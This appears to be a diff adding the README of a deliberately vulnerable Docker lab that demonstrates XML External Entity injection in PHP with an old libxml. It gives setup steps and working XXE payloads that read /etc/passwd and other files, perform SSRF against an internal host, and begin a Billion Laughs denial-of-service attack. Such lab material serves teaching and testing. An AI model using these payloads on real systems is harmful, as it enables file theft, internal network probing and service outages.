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+# PHP XML External Entity Injection (XXE)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+XML External Entity (XXE) Injection is a vulnerability that occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This vulnerability can lead to various attacks including disclosure of confidential data, denial of service, server side request forgery, port scanning, and other system impacts.
+
+After libxml 2.9.0, external entity parsing is disabled by default, which largely mitigated XXE vulnerabilities. This environment uses libxml 2.8.0 compiled into PHP to demonstrate XXE vulnerabilities in PHP applications.
+
+References:
+
+- [OWASP XXE Prevention Cheat Sheet](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
+- [PHP Documentation: libxml](https://www.php.net/manual/en/book.libxml.php)
+- [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)
+
+## Environment Setup
+
+This environment is based on the PHP 7.0.30 with libxml 2.8.0, execute the following command to start the environment:
+
+```
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:8080/index.php` to see the phpinfo page. You can verify the libxml version (2.8.0) by searching for "libxml" on that page.
+
+The web root directory `./www` contains three vulnerable PHP files demonstrating different XML parsing methods:
+
+```bash
+$ tree .
+.
+├── dom.php               # Example: XML parsing using DOMDocument
+├── index.php
+├── SimpleXMLElement.php  # Example: XML parsing using SimpleXMLElement class
+└── simplexml_load_string.php  # Example: XML parsing using simplexml_load_string function
+```
+
+All three files (`dom.php`, `SimpleXMLElement.php`, and `simplexml_load_string.php`) are vulnerable to XXE attacks.
+
+## Vulnerability Reproduction
+
+Send the following XML payload to any of the vulnerable files to read the contents of `/etc/passwd`:
+
+```xml
+<?xml version="1.0" encoding="utf-8"?> 
+<!DOCTYPE xxe [
+<!ELEMENT name ANY >
+<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
+<root>
+<name>&xxe;</name>
+</root>
+```
+
+The successful exploitation will display the contents of the file:
+
+![](1.png)
+
+### Advanced Exploitation Techniques
+
+Reading Arbitrary Files:
+
+```xml
+<!ENTITY xxe SYSTEM "file:///path/to/sensitive/file" >
+```
+
+SSRF (Server-Side Request Forgery):
+
+```xml
+<!ENTITY xxe SYSTEM "http://internal.service.local" >
+```
+
+Denial of Service (Billion Laughs Attack):
+
+```xml
+<!ENTITY lol "lol">
+<!ENTITY lol2 "&lol;&lol;">
+<!ENTITY lol3 "&lol2;&lol2;">
+```